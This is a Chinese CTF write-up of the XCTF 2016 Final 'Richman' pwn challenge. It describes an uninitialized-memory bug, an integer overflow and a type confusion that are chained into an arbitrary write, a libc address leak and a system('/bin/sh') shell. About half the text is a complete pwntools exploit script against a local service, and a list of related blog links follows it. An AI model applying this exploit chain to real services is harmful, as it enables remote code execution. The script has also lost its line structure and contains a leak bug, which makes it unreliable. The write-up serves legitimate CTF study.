抽时间将XCTF Final中Richman这个题总结了下。题目及ida idb所在的链接在:http://files.cnblogs.com/files/wangaohui/richman-blog.zip

在比赛中,我们很快地就Fuzz到了漏洞所在的位置,但是可能是由于现场的环境和平常线上赛的环境不太一样,并没有很快的写出漏洞利用程序。将Crash时的输入进行精简,得到下面的输入:

build 7 4 market

build 4 0 market

demolish 7 4

demolish 4 0

build 3 6 factory

aaaaaaaaa

time

当按照上面的进行输入,很快将发现Crash的原因。漏洞比较明显,是一个内存未初始化的漏洞,和SSCTF决赛的漏洞很相似。

在build factory的时候,如果生产一个不存在的的物资(不在wood/oil/rock中),那么product_id将使用内存中原有的内容。这样的话,在使用time功能的时候,就会很容易发生内存的越界读写。

这个题目涉及到5种结构体。分别对应road/factory/bank/casino/market五种基础设施,另外一种是对上面5个结构的索引。

根据崩溃的原因和上面的结构体描述,如果能够控制factory->product_id和factory->dailyout的话,那么是可以得到任意地址写的。

除了上面的漏洞外,还发现了一个整数溢出的漏洞。在使用market进行出售货物的时候,如果出售的单元数量很大,在imul指令后发生整数溢出,这样的话,能够获得大量的金钱!!

有了大量的钱后,就可以对bank进行操作,可以存钱借钱。程序有一个功能是可以将一个基础设施转换为另外一个基础设施。这个时候,如果对bank进行操作(存入大量的钱),紧接着将其转换为factory,因为bank和factory的大小一样,那么factory还是用的是bank的内存单元,这个时候就可以利用上面的那个任意地址写的漏洞了!

要想write-anything-anywhere,就得控制factory->daily_output。这个是可以通过对两个bank进行upgrade的时候进行设置的。

这样的话,我们就可以任意地址写了。向哪里写什么呢?下一步我们需要的是信息泄露,需要泄露出Libc库函数的地址。在print_factory的函数里,存在一个用来信息泄露的好地方。

在程序里import了gets函数,这个应该是出题方故意留的。如果将数据区中use_factory的函数指针改为gets@plt的话,那么下一次在调用use_factory的时候,将调用的是gets函数,那么整个factory结构体都能被任意控制,很方便进行信息泄露。

调用use_factory的时候,实际调用的是gets函数,这样的话不仅可以控制factory的内存数据,还能控制紧挨着的其他数据结构,相当于一个堆的溢出。

通过上面的任意地址写和信息泄露,可以获得到所需要的各种地址。最后一个步骤就是通过任意地址写拿shell。通过任意地址写,将.data段里的use_market的函数指针指向system,并通过堆的溢出修改下一个chunk的内容将下一个基础设施修改为market,并将其内存指针指向字符串"/bin/sh",那么一旦使用use_market,就相当于调用了system("/bin/sh"),顺利拿到shell。本地测试:

Exp:

 from pwn import *
import time
import binascii
#wangaohui
#context.log_level='debug'
exe='richman'
s = remote('127.0.0.1',10001)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
def usemarket(x,y,act,num):
s.recvuntil('$ ')
cmd = 'use ' + str(x) + ' ' + str(y)
s.sendline(cmd)
s.recvuntil('which resource do you want to trade (wood/rock/oil):')
s.sendline('wood')
s.recvuntil('buy resourses or sell? ')
s.sendline(act)
s.recvuntil('How many units')
s.sendline(str(num))
def usebank(x,y,money):
s.recvuntil('$ ')
cmd = 'use ' + str(x) + ' ' + str(y)
s.sendline(cmd)
s.recvuntil('(+ means deposit while - means loan): ')
s.sendline(str(money))
def writeanywhere(x,y,data):
cmd = 'use ' + str(x) + ' ' + str(y)
s.sendline(cmd)
s.sendline(data)
s.recvuntil('$ ')
s.sendline('time')#wirte
def build(x,y,t):
s.recvuntil('$ ')
s.sendline('build '+str(x) + ' ' + str(y) + ' ' + t)
def upgradebank(x,y):
s.recvuntil('$ ')
s.sendline('upgrade '+str(x) + ' ' + str(y))
s.recvuntil('You can raise the credit up to')
s.sendline('-40')#0xffffffd8
s.recvuntil('Accepted.')
def transform(x,y,t):
s.recvuntil('$ ')
s.sendline('transform '+str(x) + ' ' + str(y) + ' ' + t)
s.recvuntil('Input the resource factory produces: ')
s.sendline('xxx')
def time_():
s.recvuntil('$ ')
s.sendline('time') s.recvuntil('I will give you a present!')
s.sendline('build 5 5 market')
usemarket(5,5,'sell',25769804)#earn money 0x999999b0L
build(2,2,'bank')
usebank(2,2,0x99999000)
usemarket(5,5,'sell',25769804)#earn money 0x999999b0L
usebank(2,2,0x66665551)#earn money 0x66665551
build(2,1,'bank')
upgradebank(2,2)
transform(2,2,'factory')
time_()#write-any-where #make useroad point to usefuncarray
wood = 0x000055555575A1E8
usefuncarray = 0x000055555575A140
useroad = 0x00005555555567F1
data = p32(((wood-usefuncarray)/4^0xffffffff)+1)
data += p32(usefuncarray-useroad)#'\xd6\xff\xff\xff\x4f\x39\x20\x00'
writeanywhere(2,2,data) factory_products_array = 0x000055555575A020
data = p32((usefuncarray-factory_products_array)/8)#0x24
s.recvuntil('$')
s.sendline('use 2 2')
s.sendline(data) #leak use_func_array address,so we get the image base
s.recvuntil('$ ')
s.sendline('print 2 2')
s.recvuntil('The factory produces ')
leaked = s.recvuntil(':')[:-2]
#print(binascii.hexlify(leaked))
use_funcs_addr = u64(leaked+'\x00'*(8-len(leaked)))
print 'leaked use_funcs_addr is: ' + hex(use_funcs_addr) s.recvuntil('$ ')
s.sendline('build 3 3 factory')
s.recvuntil('Input the resource factory produces: ')
s.sendline('')
s.recvuntil('Invalid resources!') #nextstep is leak libc func printf addr
#leak low
s.recvuntil('$ ')
printf_got = use_funcs_addr-0x1b8
s.sendline('use 2 2')
data = p64(0x0)
data += p64(0x0100)*2
data += p64(0x0)*2
data += p64(printf_got)
s.sendline(data)
s.recvuntil('$ ')
s.sendline('print 3 3')
s.recvuntil('Road')
s.recvuntil('The durability of this road is ')
low = s.recvuntil('\n')[:-1]
if low.startswith('-'):
low = low[1:]
low_hex=hex((int(low)^0xffffffff)+1)[2:]
else:
low_hex=hex(int(low))[2:] #leak high
s.recvuntil('$ ')
printf_got = use_funcs_addr-0x1b8+4
s.sendline('use 2 2')
data = p64(0x0)
data += p64(0x0100)*2
data += p64(0x0)*2
data += p64(printf_got)
s.sendline(data)
s.recvuntil('$ ')
s.sendline('print 3 3')
s.recvuntil('Road')
s.recvuntil('The durability of this road is ')
high = s.recvuntil('\n')[:-1]
if high.startswith('-'):
high= low[1:]
high_hex=hex((int(high)^0xffffffff)+1)[2:-1]
else:
high_hex=hex(int(high))[2:]
printf = int(high_hex+low_hex,16)
print 'leaked printf is: ' + hex(printf) '''
#local kali
system = printf - 0x50CF0 + 0x41490
binsh = printf - 0x50CF0 + 0x1639A0
''' system = printf - 0x54340 + 0x46590
binsh = printf - 0x54340 + 0x17C8C3 #make usemarket point to system
usemarket = use_funcs_addr - 0x55555575A140 + 0x5555555569E1
vt_usemarket = use_funcs_addr + 0x20
wood = use_funcs_addr + 0xa8 data = p32(((wood-vt_usemarket)/4^0xffffffff)+1)
tmp = (system&0xffffffff)-(usemarket&0xffffffff)
if tmp>0:
data += p32(tmp)
else:
data += p32(((-tmp)^0xffffffff)+1)
writeanywhere(2,2,data) data = p32(((wood-vt_usemarket-4)/4^0xffffffff)+1)
tmp = (system>>32) - (usemarket>>32)
if tmp>0:
data += p32(tmp)
writeanywhere(2,2,data)
elif tmp<0:
data += p32(((-tmp)^0xffffffff)+1)
writeanywhere(2,2,data)
else:
pass data = p32(0)+p32(200)+p64(1)+ p64(5)+p64(0x21)+p64(4)+p64(binsh)
s.sendline('use 2 2')
s.sendline(data) s.recvuntil('$ ')
cmd = 'use 3 3'
s.sendline(cmd)
s.interactive()
s.close()

2016-XCTF Final-Richman的更多相关文章

  1. Atcoder CODE FESTIVAL 2016 Grand Final E - Water Distribution

    Atcoder CODE FESTIVAL 2016 Grand Final E - Water Distribution 题目链接:https://atcoder.jp/contests/cf16- ...

  2. 2016 China Final E - Bet

    /************************************************************************* > File Name: E.cpp > ...

  3. 2016 China Final H - Great Cells

    /************************************************************************* > File Name: H.cpp > ...

  4. ICPC 2016 China Final J. Mr.Panda and TubeMaster【最大费用最大流】

    有一种限制下界强制选的,但是也可以不用 把每个格点拆成两个,一个连s一个连t,对于不是必选的连中间连流量1费用0边表示不选,然后黑白染色,黑点连横着白点连竖着,边权就是这条水管的权值,然后跑最大费用最 ...

  5. 【费用流】 ICPC 2016 China Final J. Mr.Panda and TubeMaster

    表示“必须选”的模型 题目大意 题目分析 一个格子有四种方式看上去很难处理.将横竖两个方向分开考虑,会发现:因为收益只与相邻格子是否连通有关,所以可以将一个格子拆成表示横竖两个方向的,互相独立的点. ...

  6. CODE FESTIVAL 2016 Grand Final 题解

    传送门 越学觉得自己越蠢--这场除了\(A\)之外一道都不会-- \(A\) 贪心从左往右扫,能匹配就匹配就好了 //quming #include<bits/stdc++.h> #def ...

  7. AliCTF 2016

    上上周参加了阿里的CTF,靠着最后绝杀队伍有幸拿到了国内第一名,也顺利进入了XCTF Final.把自己做的几个题简单写了下,发出来也算个总结吧. PWN-FB 经典的null byte overfl ...

  8. 配置oozie4.10+hadoop2.5.2

    终于将这个神秘的寻象人 oozie 安装配置成功了,这个困扰我好几天, 当看到如下的画面, 我觉得值! 废话少说,看我如何编译和安装过程: (已经将hadoop2.5.2HA 的环境搭建起来了,hiv ...

  9. Failed to execute goal org.apache.maven.plugins:maven-antrun-plugin:1.7:run (dist) on project hadoop-kms: An Ant BuildException has occured

    编译cdh版hadoop2.5.0出现的问题 系统: CentOs66 64位 JDK:1.7 Maven: 3.0.5 Protobuf: libprotoc 2.5.0 编译命令: mvn pac ...

随机推荐

  1. 常见HTTP状态码的含义

    200 请求已成功,请求所希望的响应头或数据体将随此响应返回. 301 被请求的资源已永久移动到新位置. 302 请求的资源现在临时从不同的 URI 响应请求. 400 1.语义有误,当前请求无法被服 ...

  2. 设置单选的listView或者gridview

    主要是这个BeaseAdapter的方法notifyDataSetChanged()的使用;作用 :调用BaseAdapter中的getView();方法,刷新ListView中的数据.实现:1.在B ...

  3. C#在局域网中连接Liunx上的MySql数据库

    前期准备工作: 我所用的平台是VS2010和Ubuntu 14.04.3  LTS 一.由于MySql并没有集成在VS2010中所以要先安装MySQL Connector Net 6.9.8连接工具, ...

  4. oracle 11g 64位安装32位客户端和PL/SQL

    转自:http://www.360doc.com/content/14/0602/10/4903283_382949382.shtml   这个你需要安装一个32位的oracle客户端才能使用plsq ...

  5. MySql安装与卸载

    win2003下MySql的配置 准备相关组件 1.MySql安装包 mysql-installer-commercial- 5.6.14.0.msi 2.Microsoft .NETFramewor ...

  6. java Eclipse debug技巧

    摘要:调试不仅可以查找到应用程序缺陷所在,还可以解决缺陷.对于Java程序员来说,他们不仅要学会如何在Eclipse里面开发像样的程序,更需要学会如何调试程序.本文介绍了Java程序员必知的10个调试 ...

  7. Windows8.1使用博客客户端写博客

    1.首先去微软官网下载客户端(Windows live writer) http://windows.microsoft.com/zh-cn/windows-live/essentials 安装步骤 ...

  8. Java系列--第二篇 基于Maven的Android开发HelloAndroidWorld

    曾经写过一篇Android环境配置的随笔,个人感觉特繁琐,既然有Maven,何不尝试用用Maven呢,经网上搜索这篇文章但不限于这些,而做了一个基于Maven的Android版的Hello Andro ...

  9. dedecms友情链接flink的调用方法

    标记名称:flink[标签简介][功能说明]:用于获取友情链接,其对应后台文件为"includetaglibflink.lib.php".[适用范围]:全局标记,适用V55,V56 ...

  10. linux运维基础__争取十月前研究的差不多

    转来的一编,考虑在十月前研究的差不多 linux运维人员基础 1.很多地方经常会用到的rsync工具 实施几台服务器的同步效果 我们公司就是使用这个工具完成服务器的游戏的服务端和客户端同步,有几个文章 ...